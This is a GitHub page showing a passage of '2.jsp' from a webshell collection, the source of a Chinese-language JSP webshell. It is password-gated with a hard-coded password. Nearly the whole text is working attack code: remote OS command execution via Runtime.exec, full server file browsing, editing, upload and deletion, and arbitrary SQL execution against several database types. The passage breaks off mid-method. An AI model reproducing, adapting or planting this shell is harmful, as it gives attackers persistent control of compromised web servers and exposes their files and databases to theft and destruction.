forked from tennc/webshell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
2.jsp
1813 lines (1580 loc) · 56.2 KB
/
2.jsp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<%@ page contentType="text/html; charset=GBK" %>
<%@ page import="java.io.*"%>
<%@ page import="java.util.Map"%>
<%@ page import="java.util.HashMap"%>
<%@ page import="java.nio.charset.Charset"%>
<%@ page import="java.util.regex.*"%>
<%@ page import="java.sql.*"%>
<%!
private String _password = "156156";
private String _encodeType = "GB2312";
private int _sessionOutTime = 20;
private String[] _textFileTypes = {"txt", "htm", "html", "asp", "jsp", "java", "js", "css", "c", "cpp", "sh", "pl", "cgi", "php", "conf", "xml", "xsl", "ini", "vbs", "inc"};
private Connection _dbConnection = null;
private Statement _dbStatement = null;
private String _url = null;
public boolean validate(String password) {
if (password.equals(_password)) {
return true;
} else {
return false;
}
}
public String HTMLEncode(String str) {
str = str.replaceAll(" ", " ");
str = str.replaceAll("<", "<");
str = str.replaceAll(">", ">");
str = str.replaceAll("\r\n", "<br>");
return str;
}
public String Unicode2GB(String str) {
String sRet = null;
try {
sRet = new String(str.getBytes("ISO8859_1"), _encodeType);
} catch (Exception e) {
sRet = str;
}
return sRet;
}
public String exeCmd(String cmd) {
Runtime runtime = Runtime.getRuntime();
Process proc = null;
String retStr = "";
InputStreamReader insReader = null;
char[] tmpBuffer = new char[1024];
int nRet = 0;
try {
proc = runtime.exec(cmd);
insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312"));
while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) {
retStr += new String(tmpBuffer, 0, nRet);
}
insReader.close();
retStr = HTMLEncode(retStr);
} catch (Exception e) {
retStr = "<font color=\"red\">bad command \"" + cmd + "\"</font>";
} finally {
return retStr;
}
}
public String pathConvert(String path) {
String sRet = path.replace('\\', '/');
File file = new File(path);
if (file.getParent() != null) {
if (file.isDirectory()) {
if (! sRet.endsWith("/"))
sRet += "/";
}
} else {
if (! sRet.endsWith("/"))
sRet += "/";
}
return sRet;
}
public String strCut(String str, int len) {
String sRet;
len -= 3;
if (str.getBytes().length <= len) {
sRet = str;
} else {
try {
sRet = (new String(str.getBytes(), 0, len, "GBK")) + "...";
} catch (Exception e) {
sRet = str;
}
}
return sRet;
}
public String listFiles(String path, String curUri) {
File[] files = null;
File curFile = null;
String sRet = null;
int n = 0;
boolean isRoot = path.equals("");
path = pathConvert(path);
try {
if (isRoot) {
files = File.listRoots();
} else {
try {
curFile = new File(path);
String[] sFiles = curFile.list();
files = new File[sFiles.length];
for (n = 0; n < sFiles.length; n ++) {
files[n] = new File(path + sFiles[n]);
}
} catch (Exception e) {
sRet = "<font color=\"red\">bad path \"" + path + "\"</font>";
}
}
if (sRet == null) {
sRet = "\n";
sRet += "<script language=\"javascript\">\n";
sRet += "var selectedFile = null;\n";
sRet += "<!--\n";
sRet += "function createFolder() {\n";
sRet += " var folderName = prompt(\"请输入目录名\", \"\");\n";
sRet += " if (folderName != null && folderName != false && ltrim(folderName) != \"\") {\n";
sRet += " window.location.href = \"" + curUri + "&curPath=" + path + "&fsAction=createFolder&folderName=\" + folderName + \"" + "\";\n";
sRet += " }\n";
sRet += "}\n";
sRet += "\n";
sRet += "function createFile() {\n";
sRet += " var fileName = prompt(\"请输入文件名\", \"\");\n";
sRet += " if (fileName != null && fileName != false && ltrim(fileName) != \"\") {\n";
sRet += " window.location.href = \"" + curUri + "&curPath=" + path + "&fsAction=createFile&fileName=\" + fileName + \"" + "\";\n";
sRet += " }\n";
sRet += "}\n";
sRet += "\n";
sRet += "function selectFile(obj) {\n";
sRet += " if (selectedFile != null)\n";
sRet += " selectedFile.style.backgroundColor = \"#FFFFFF\";\n";
sRet += " selectedFile = obj;\n";
sRet += " obj.style.backgroundColor = \"#CCCCCC\";\n";
sRet += "}\n";
sRet += "\n";
sRet += "function change(obj) {\n";
sRet += " if (selectedFile != obj)\n";
sRet += " obj.style.backgroundColor = \"#CCCCCC\";\n";
sRet += "}\n";
sRet += "\n";
sRet += "function restore(obj) {\n";
sRet += " if (selectedFile != obj)\n";
sRet += " obj.style.backgroundColor = \"#FFFFFF\";\n";
sRet += "}\n";
sRet += "\n";
sRet += "function showUpload() {\n";
sRet += " up.style.visibility = \"visible\";\n";
sRet += "}\n";
sRet += "\n";
sRet += "function copyFile() {\n";
sRet += " var toPath = prompt(\"请输入要复制到的目录(绝对路径)\", \"\");\n";
sRet += " if (toPath != null && toPath != false && ltrim(toPath) != \"\") {\n";
sRet += " document.fileList.action = \"" + curUri + "&curPath=" + path + "&fsAction=copyto&dstPath=" + "\" + toPath;\n";
sRet += " document.fileList.submit();\n";
sRet += " }\n";
sRet += "}\n";
sRet += "\n";
sRet += "function rename() {\n";
sRet += " var count = 0;\n";
sRet += " var selected = -1;\n";
sRet += " for (var i = 0; i < document.fileList.filesDelete.length; i ++) {\n";
sRet += " if (document.fileList.filesDelete[i].checked) {\n";
sRet += " count ++;\n";
sRet += " selected = i;\n";
sRet += " }\n";
sRet += " }\n";
sRet += " if (count > 1)\n";
sRet += " alert(\"不能重命名多个文件\");\n";
sRet += " else if (selected == -1)\n";
sRet += " alert(\"没有选中要重命名的文件\");\n";
sRet += " else {\n";
sRet += " var newName = prompt(\"请输入新文件名\", \"\");\n";
sRet += " if (newName != null && newName != false && ltrim(newName) != \"\") {\n";
sRet += " window.location.href = \"" + curUri + "&curPath=" + path + "&fsAction=rename&newName=\" + newName + \"&fileRename=\" + document.fileList.filesDelete[selected].value;";
sRet += " }\n";
sRet += " }\n";
sRet += "}\n";
sRet += "\n";
sRet += "//-->\n";
sRet += "</script>\n";
sRet += "<table width=\"100%\" border=\"0\" cellpadding=\"2\" cellpadding=\"1\">\n";
sRet += " <form enctype=\"multipart/form-data\" method=\"post\" name=\"upload\" action=\"" + curUri + "&curPath=" + path + "&fsAction=upload" + "\">\n";
if (curFile != null) {
sRet += " <tr>\n";
sRet += " <td colspan=\"4\" valign=\"middle\">\n";
sRet += " <a href=\"" + curUri + "&curPath=" + (curFile.getParent() == null ? "" : pathConvert(curFile.getParent())) + "\">上级目录</a> ";
sRet += "<a href=\"#\" onclick=\"javascript:createFolder()\">创建目录</a> ";
sRet += "<a href=\"#\" onclick=\"javascript:createFile()\">新建文件</a> ";
sRet += "<a href=\"#\" onclick=\"javascript:document.fileList.submit();\">删除</a> ";
sRet += "<a href=\"#\" onclick=\"javascript:copyFile()\">复制</a> ";
sRet += "<a href=\"#\" onclick=\"javascript:rename()\">重命名</a> ";
sRet += "<a href=\"#\" onclick=\"javascript:showUpload()\">上传文件</a>\n";
sRet += "<span style=\"visibility: hidden\" id=\"up\"><input type=\"file\" value=\"上传\" name=\"upFile\" size=\"8\" class=\"textbox\" /> <input type=\"submit\" value=\"上传\" class=\"button\"></span>\n";
sRet += " </td>\n";
sRet += " </tr>\n";
}
sRet += "</form>\n";
sRet += " <form name=\"fileList\" method=\"post\" action=\"" + curUri + "&curPath=" + path + "&fsAction=deleteFile" + "\">\n";
for (n = 0; n < files.length; n ++) {
sRet += " <tr onclick=\"javascript: selectFile(this)\" onmouseover=\"javascript: change(this)\" onmouseout=\"javascript: restore(this)\" style=\"cursor:hand;\">\n";
if (! isRoot) {
sRet += " <td width=\"5%\" align=\"center\"><input type=\"checkbox\" name=\"filesDelete\" value=\"" + pathConvert(files[n].getPath()) + "\" /></td>\n";
if (files[n].isDirectory()) {
sRet += " <td><a href=\"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "\" title=\"" + files[n].getName() + "\"><" + strCut(files[n].getName(), 50) + "></a></td>\n";
} else {
sRet += " <td><a title=\"" + files[n].getName() + "\">" + strCut(files[n].getName(), 50) + "</a></td>\n";
}
sRet += " <td width=\"15%\" align=\"center\">" + (files[n].isDirectory() ? "<dir>" : "") + ((! files[n].isDirectory()) && isTextFile(getExtName(files[n].getPath())) ? "<<a href=\"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "&fsAction=open" + "\">edit</a>>" : "") + "</td>\n";
sRet += " <td width=\"15%\" align=\"center\">" + files[n].length() + "</td>\n";
} else {
sRet += " <td><a href=\"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "\" title=\"" + files[n].getName() + "\">" + pathConvert(files[n].getPath()) + "</a></td>\n";
}
sRet += " </tr>\n";
}
sRet += " </form>\n";
sRet += "</table>\n";
}
} catch (SecurityException e) {
sRet = "<font color=\"red\">security violation, no privilege.</font>";
}
return sRet;
}
public boolean isTextFile(String extName) {
int i;
boolean bRet = false;
if (! extName.equals("")) {
for (i = 0; i < _textFileTypes.length; i ++) {
if (extName.equals(_textFileTypes[i])) {
bRet = true;
break;
}
}
} else {
bRet = true;
}
return bRet;
}
public String getExtName(String fileName) {
String sRet = "";
int nLastDotPos;
fileName = pathConvert(fileName);
nLastDotPos = fileName.lastIndexOf(".");
if (nLastDotPos == -1) {
sRet = "";
} else {
sRet = fileName.substring(nLastDotPos + 1);
}
return sRet;
}
public String browseFile(String path) {
String sRet = "";
File file = null;
FileReader fileReader = null;
path = pathConvert(path);
try {
file = new File(path);
fileReader = new FileReader(file);
String fileString = "";
char[] chBuffer = new char[1024];
int ret;
sRet = "<script language=\"javascript\">\n";
while ((ret = fileReader.read(chBuffer, 0, 1024)) != -1) {
fileString += new String(chBuffer, 0, ret);
}
sRet += "var wnd = window.open(\"about:blank\", \"_blank\", \"width=600, height=500\");\n";
sRet += "var doc = wnd.document;\n";
sRet += "doc.write(\"" + "aaa" + "\");\n";
sRet += "</script>\n";
} catch (IOException e) {
sRet += "<script language=\"javascript\">\n";
sRet += "alert(\"打开文件" + path + "失败\");\n";
sRet += "</script>\n";
}
return sRet;
}
public String openFile(String path, String curUri) {
String sRet = "";
boolean canOpen = false;
int nLastDotPos = path.lastIndexOf(".");
String extName = "";
String fileString = null;
File curFile = null;
path = pathConvert(path);
if (nLastDotPos == -1) {
canOpen = true;
} else {
extName = path.substring(nLastDotPos + 1);
canOpen = isTextFile(extName);
}
if (canOpen) {
try {
fileString = "";
curFile = new File(path);
FileReader fileReader = new FileReader(curFile);
char[] chBuffer = new char[1024];
int nRet;
while ((nRet = fileReader.read(chBuffer, 0, 1024)) != -1) {
fileString += new String(chBuffer, 0, nRet);
}
fileReader.close();
} catch (IOException e) {
fileString = null;
sRet = "<font color=\"red\">不能打开文件\"" + path + "\"</font>";
} catch (SecurityException e) {
fileString = null;
sRet = "<font color=\"red\">安全问题,没有权限执行该操作</font>";
}
} else {
sRet = "<font color=\"red\">file \"" + path + "\" is not a text file, can't be opened in text mode</font>";
}
if (fileString != null) {
sRet += "<script language=\"javascript\">";
sRet += "<!--\n";
sRet += "function saveAs() {\n";
sRet += " var fileName = prompt(\"请输入文件名\", \"\");\n";
sRet += " if (fileName != null && fileName != false && ltrim(fileName) != \"\") {\n";
sRet += " document.openfile.action=\"" + curUri + "&curPath=" + pathConvert(curFile.getParent()) + "\" + fileName + \"&fsAction=saveAs\";\n";
sRet += " document.openfile.submit();\n";
sRet += " }\n";
sRet += "}\n";
sRet += "//-->\n";
sRet += "</script>\n";
sRet += "<table align=\"center\" width=\"100%\" cellpadding=\"2\" cellspacing=\"1\">\n";
sRet += " <form name=\"openfile\" method=\"post\" action=\"" + curUri + "&curPath=" + path + "&fsAction=save" + "\">\n";
sRet += " <tr>\n";
sRet += " <td>[<a href=\"" + curUri + "&curPath=" + pathConvert(curFile.getParent()) + "\">上级目录</a>]</td>\n";
sRet += " </tr>\n";
sRet += " <tr>\n";
sRet += " <td align=\"center\">\n";
sRet += " <textarea name=\"fileContent\" cols=\"80\" rows=\"32\">\n";
sRet += fileString;
sRet += " </textarea>\n";
sRet += " </td>\n";
sRet += " </tr>\n";
sRet += " <tr>\n";
sRet += " <td align=\"center\"><input type=\"submit\" class=\"button\" value=\"保存\" /> <input type=\"button\" class=\"button\" value=\"另存为\" onclick=\"javascript:saveAs()\" /></td>\n";
sRet += " </tr>\n";
sRet += " </form>\n";
sRet += "</table>\n";
}
return sRet;
}
public String saveFile(String path, String curUri, String fileContent) {
String sRet = "";
File file = null;
path = pathConvert(path);
try {
file = new File(path);
if (! file.canWrite()) {
sRet = "<font color=\"red\">文件不可写</font>";
} else {
FileWriter fileWriter = new FileWriter(file);
fileWriter.write(fileContent);
fileWriter.close();
sRet = "文件保存成功,正在返回,请稍候……\n";
sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + "&fsAction=open" + "\" />\n";
}
} catch (IOException e) {
sRet = "<font color=\"red\">保存文件失败</font>";
} catch (SecurityException e) {
sRet = "<font color=\"red\">安全问题,没有权限执行该操作</font>";
}
return sRet;
}
public String createFolder(String path, String curUri, String folderName) {
String sRet = "";
File folder = null;
path = pathConvert(path);
try {
folder = new File(path + folderName);
if (folder.exists() && folder.isDirectory()) {
sRet = "<font color=\"red\">\"" + path + folderName + "\"目录已经存在</font>";
} else {
if (folder.mkdir()) {
sRet = "成功创建目录\"" + pathConvert(folder.getPath()) + "\",正在返回,请稍候……\n";
sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + folderName + "\" />";
} else {
sRet = "<font color=\"red\">创建目录\"" + folderName + "\"失败</font>";
}
}
} catch (SecurityException e) {
sRet = "<font color=\"red\">安全问题,没有权限执行该操作</font>";
}
return sRet;
}
public String createFile(String path, String curUri, String fileName) {
String sRet = "";
File file = null;
path = pathConvert(path);
try {
file = new File(path + fileName);
if (file.createNewFile()) {
sRet = "<meta http-equiv=\"refresh\" content=\"0;url=" + curUri + "&curPath=" + path + fileName + "&fsAction=open" + "\" />";
} else {
sRet = "<font color=\"red\">\"" + path + fileName + "\"文件已经存在</font>";
}
} catch (SecurityException e) {
sRet = "<font color=\"red\">安全问题,没有权限执行该操作</font>";
} catch (IOException e) {
sRet = "<font color=\"red\">创建文件\"" + path + fileName + "\"失败</font>";
}
return sRet;
}
public String deleteFile(String path, String curUri, String[] files2Delete) {
String sRet = "";
File tmpFile = null;
try {
for (int i = 0; i < files2Delete.length; i ++) {
tmpFile = new File(files2Delete[i]);
if (! tmpFile.delete()) {
sRet += "<font color=\"red\">删除\"" + files2Delete[i] + "\"失败</font><br>\n";
}
}
if (sRet.equals("")) {
sRet = "删除成功,正在返回,请稍候……\n";
sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + "\" />";
}
} catch (SecurityException e) {
sRet = "<font color=\"red\">安全问题,没有权限执行该操作</font>\n";
}
return sRet;
}
public String saveAs(String path, String curUri, String fileContent) {
String sRet = "";
File file = null;
FileWriter fileWriter = null;
try {
file = new File(path);
if (file.createNewFile()) {
fileWriter = new FileWriter(file);
fileWriter.write(fileContent);
fileWriter.close();
sRet = "<meta http-equiv=\"refresh\" content=\"0;url=" + curUri + "&curPath=" + path + "&fsAction=open" + "\" />";
} else {
sRet = "<font color=\"red\">文件\"" + path + "\"已经存在</font>";
}
} catch (IOException e) {
sRet = "<font color=\"red\">创建文件\"" + path + "\"失败</font>";
}
return sRet;
}
public String uploadFile(ServletRequest request, String path, String curUri) {
String sRet = "";
File file = null;
InputStream in = null;
path = pathConvert(path);
try {
in = request.getInputStream();
byte[] inBytes = new byte[request.getContentLength()];
int nBytes;
int start = 0;
int end = 0;
int size = 1024;
String token = null;
String filePath = null;
//
// 把输入流读入一个字节数组
//
while ((nBytes = in.read(inBytes, start, size)) != -1) {
start += nBytes;
}
in.close();
//
// 从字节数组中得到文件分隔符号
//
int i = 0;
byte[] seperator;
while (inBytes[i] != 13) {
i ++;
}
seperator = new byte[i];
for (i = 0; i < seperator.length; i ++) {
seperator[i] = inBytes[i];
}
//
// 得到Header部分
//
String dataHeader = null;
i += 3;
start = i;
while (! (inBytes[i] == 13 && inBytes[i + 2] == 13)) {
i ++;
}
end = i - 1;
dataHeader = new String(inBytes, start, end - start + 1);
//
// 得到文件名
//
token = "filename=\"";
start = dataHeader.indexOf(token) + token.length();
token = "\"";
end = dataHeader.indexOf(token, start) - 1;
filePath = dataHeader.substring(start, end + 1);
filePath = pathConvert(filePath);
String fileName = filePath.substring(filePath.lastIndexOf("/") + 1);
//
// 得到文件内容开始位置
//
i += 4;
start = i;
/*
boolean found = true;
byte[] tmp = new byte[seperator.length];
while (i <= inBytes.length - 1 - seperator.length) {
for (int j = i; j < i + seperator.length; j ++) {
if (seperator[j - i] != inBytes[j]) {
found = false;
break;
} else
tmp[j - i] = inBytes[j];
}
if (found)
break;
i ++;
}*/
//
// 偷懒的办法
//
end = inBytes.length - 1 - 2 - seperator.length - 2 - 2;
//
// 保存为文件
//
File newFile = new File(path + fileName);
newFile.createNewFile();
FileOutputStream out = new FileOutputStream(newFile);
//out.write(inBytes, start, end - start + 1);
out.write(inBytes, start, end - start + 1);
out.close();
sRet = "<script language=\"javascript\">\n";
sRet += "alert(\"文件上传成功" + fileName + "\");\n";
sRet += "</script>\n";
} catch (IOException e) {
sRet = "<script language=\"javascript\">\n";
sRet += "alert(\"文件上传失败\");\n";
sRet += "</script>\n";
}
sRet += "<meta http-equiv=\"refresh\" content=\"0;url=" + curUri + "&curPath=" + path + "\" />";
return sRet;
}
public boolean fileCopy(String srcPath, String dstPath) {
boolean bRet = true;
try {
FileInputStream in = new FileInputStream(new File(srcPath));
FileOutputStream out = new FileOutputStream(new File(dstPath));
byte[] buffer = new byte[1024];
int nBytes;
while ((nBytes = in.read(buffer, 0, 1024)) != -1) {
out.write(buffer, 0, nBytes);
}
in.close();
out.close();
} catch (IOException e) {
bRet = false;
}
return bRet;
}
public String getFileNameByPath(String path) {
String sRet = "";
path = pathConvert(path);
if (path.lastIndexOf("/") != -1) {
sRet = path.substring(path.lastIndexOf("/") + 1);
} else {
sRet = path;
}
return sRet;
}
public String copyFiles(String path, String curUri, String[] files2Copy, String dstPath) {
String sRet = "";
int i;
path = pathConvert(path);
dstPath = pathConvert(dstPath);
for (i = 0; i < files2Copy.length; i ++) {
if (! fileCopy(files2Copy[i], dstPath + getFileNameByPath(files2Copy[i]))) {
sRet += "<font color=\"red\">文件\"" + files2Copy[i] + "\"复制失败</font><br/>";
}
}
if (sRet.equals("")) {
sRet = "文件复制成功,正在返回,请稍候……";
sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + "\" />";
}
return sRet;
}
public boolean isFileName(String fileName) {
boolean bRet = false;
Pattern p = Pattern.compile("^[a-zA-Z0-9][\\w\\.]*[\\w]$");
Matcher m = p.matcher(fileName);
bRet = m.matches();
return bRet;
}
public String renameFile(String path, String curUri, String file2Rename, String newName) {
String sRet = "";
path = pathConvert(path);
file2Rename = pathConvert(file2Rename);
try {
File file = new File(file2Rename);
newName = file2Rename.substring(0, file2Rename.lastIndexOf("/") + 1) + newName;
File newFile = new File(newName);
if (! file.exists()) {
sRet = "<font color=\"red\">文件\"" + file2Rename + "\"不存在</font>";
} else {
file.renameTo(newFile);
sRet = "文件重命名成功,正在返回,请稍候……";
sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + "\" />";
}
} catch (SecurityException e) {
sRet = "<font color=\"red\">安全问题导致文件\"" + file2Rename + "\"复制失败</font>";
}
return sRet;
}
public boolean DBInit(String dbType, String dbServer, String dbPort, String dbUsername, String dbPassword, String dbName) {
boolean bRet = true;
String driverName = "";
if (dbServer.equals(""))
dbServer = "localhost";
try {
if (dbType.equals("sqlserver")) {
driverName = "com.microsoft.jdbc.sqlserver.SQLServerDriver";
if (dbPort.equals(""))
dbPort = "1433";
_url = "jdbc:microsoft:sqlserver://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName;
} else if (dbType.equals("mysql")) {
driverName = "com.mysql.jdbc.Driver";
if (dbPort.equals(""))
dbPort = "3306";
_url = "jdbc:mysql://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName;
} else if (dbType.equals("odbc")) {
driverName = "sun.jdbc.odbc.JdbcOdbcDriver";
_url = "jdbc:odbc:dsn=" + dbName + ";User=" + dbUsername + ";Password=" + dbPassword;
} else if (dbType.equals("oracle")) {
driverName = "oracle.jdbc.driver.OracleDriver";
_url = "jdbc:oracle:thin@" + dbServer + ":" + dbPort + ":" + dbName;
} else if (dbType.equals("db2")) {
driverName = "com.ibm.db2.jdbc.app.DB2Driver";
_url = "jdbc:db2://" + dbServer + ":" + dbPort + "/" + dbName;
}
Class.forName(driverName);
} catch (ClassNotFoundException e) {
bRet = false;
}
return bRet;
}
public boolean DBConnect(String User, String Password) {
boolean bRet = false;
if (_url != null) {
try {
_dbConnection = DriverManager.getConnection(_url, User, Password);
_dbStatement = _dbConnection.createStatement();
bRet = true;
} catch (SQLException e) {
bRet = false;
}
}
return bRet;
}
public String DBExecute(String sql) {
String sRet = "";
if (_dbConnection == null || _dbStatement == null) {
sRet = "<font color=\"red\">数据库没有正常连接</font>";
} else {
try {
if (sql.toLowerCase().substring(0, 6).equals("select")) {
ResultSet rs = _dbStatement.executeQuery(sql);
ResultSetMetaData rsmd = rs.getMetaData();
int colNum = rsmd.getColumnCount();
int colType;
sRet = "sql语句执行成功,返回结果<br>\n";
sRet += "<table align=\"center\" border=\"0\" bgcolor=\"#CCCCCC\" cellpadding=\"2\" cellspacing=\"1\">\n";
sRet += " <tr bgcolor=\"#FFFFFF\">\n";
for (int i = 1; i <= colNum; i ++) {
sRet += " <th>" + rsmd.getColumnName(i) + "(" + rsmd.getColumnTypeName(i) + ")</th>\n";
}
sRet += " </tr>\n";
while (rs.next()) {
sRet += " <tr bgcolor=\"#FFFFFF\">\n";
for (int i = 1; i <= colNum; i ++) {
colType = rsmd.getColumnType(i);
sRet += " <td>";
switch (colType) {
case Types.BIGINT:
sRet += rs.getLong(i);
break;
case Types.BIT:
sRet += rs.getBoolean(i);
break;
case Types.BOOLEAN:
sRet += rs.getBoolean(i);
break;
case Types.CHAR:
sRet += rs.getString(i);
break;
case Types.DATE:
sRet += rs.getDate(i).toString();
break;
case Types.DECIMAL:
sRet += rs.getDouble(i);
break;
case Types.NUMERIC:
sRet += rs.getDouble(i);
break;
case Types.REAL:
sRet += rs.getDouble(i);
break;
case Types.DOUBLE:
sRet += rs.getDouble(i);
break;
case Types.FLOAT:
sRet += rs.getFloat(i);
break;
case Types.INTEGER:
sRet += rs.getInt(i);
break;
case Types.TINYINT:
sRet += rs.getShort(i);
break;
case Types.VARCHAR:
sRet += rs.getString(i);
break;
case Types.TIME:
sRet += rs.getTime(i).toString();
break;
case Types.DATALINK:
sRet += rs.getTimestamp(i).toString();
break;
}
sRet += " </td>\n";
}
sRet += " </tr>\n";
}
sRet += "</table>\n";
rs.close();
} else {
if (_dbStatement.execute(sql)) {
sRet = "sql语句执行成功";
} else {
sRet = "<font color=\"red\">sql语句执行失败</font>";
}
}
} catch (SQLException e) {
sRet = "<font color=\"red\">sql语句执行失败</font>";
}
}
return sRet;
}
public void DBRelease() {
try {
if (_dbStatement != null) {
_dbStatement.close();
_dbStatement = null;
}
if (_dbConnection != null) {
_dbConnection.close();
_dbConnection = null;
}
} catch (SQLException e) {
}
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////
class JshellConfig {
private String _jshellContent = null;
private String _path = null;
public JshellConfig(String path) throws JshellConfigException {
_path = path;
read();
}
private void read() throws JshellConfigException {
try {
FileReader jshell = new FileReader(new File(_path));
char[] buffer = new char[1024];
int nChars;
_jshellContent = "";
while ((nChars = jshell.read(buffer, 0, 1024)) != -1) {
_jshellContent += new String(buffer, 0, nChars);
}
jshell.close();
} catch (IOException e) {
throw new JshellConfigException("打开文件失败");
}
}
public void save() throws JshellConfigException {
FileWriter jshell = null;
try {
jshell = new FileWriter(new File(_path));
char[] buffer = _jshellContent.toCharArray();
int start = 0;
int size = 1024;
for (start = 0; start < buffer.length - 1 - size; start += size) {
jshell.write(buffer, start, size);
}
jshell.write(buffer, start, buffer.length - 1 - start);
} catch (IOException e) {
new JshellConfigException("写文件失败");
} finally {
try {
jshell.close();
} catch (IOException e) {
}
}
}
public void setPassword(String password) throws JshellConfigException {
Pattern p = Pattern.compile("\\w+");
Matcher m = p.matcher(password);
if (! m.matches()) {
throw new JshellConfigException("密码不能有除字母数字下划线以外的字符");
}
p = Pattern.compile("private\\sString\\s_password\\s=\\s\"" + _password + "\"");
m = p.matcher(_jshellContent);
if (! m.find()) {
throw new JshellConfigException("程序体已经被非法修改");
}
_jshellContent = m.replaceAll("private String _password = \"" + password + "\"");
//return HTMLEncode(_jshellContent);
}
public void setEncodeType(String encodeType) throws JshellConfigException {
Pattern p = Pattern.compile("[A-Za-z0-9]+");
Matcher m = p.matcher(encodeType);
if (! m.matches()) {
throw new JshellConfigException("编码格式只能是字母和数字的组合");
}
p = Pattern.compile("private\\sString\\s_encodeType\\s=\\s\"" + _encodeType + "\"");
m = p.matcher(_jshellContent);
if (! m.find()) {
throw new JshellConfigException("程序体已经被非法修改");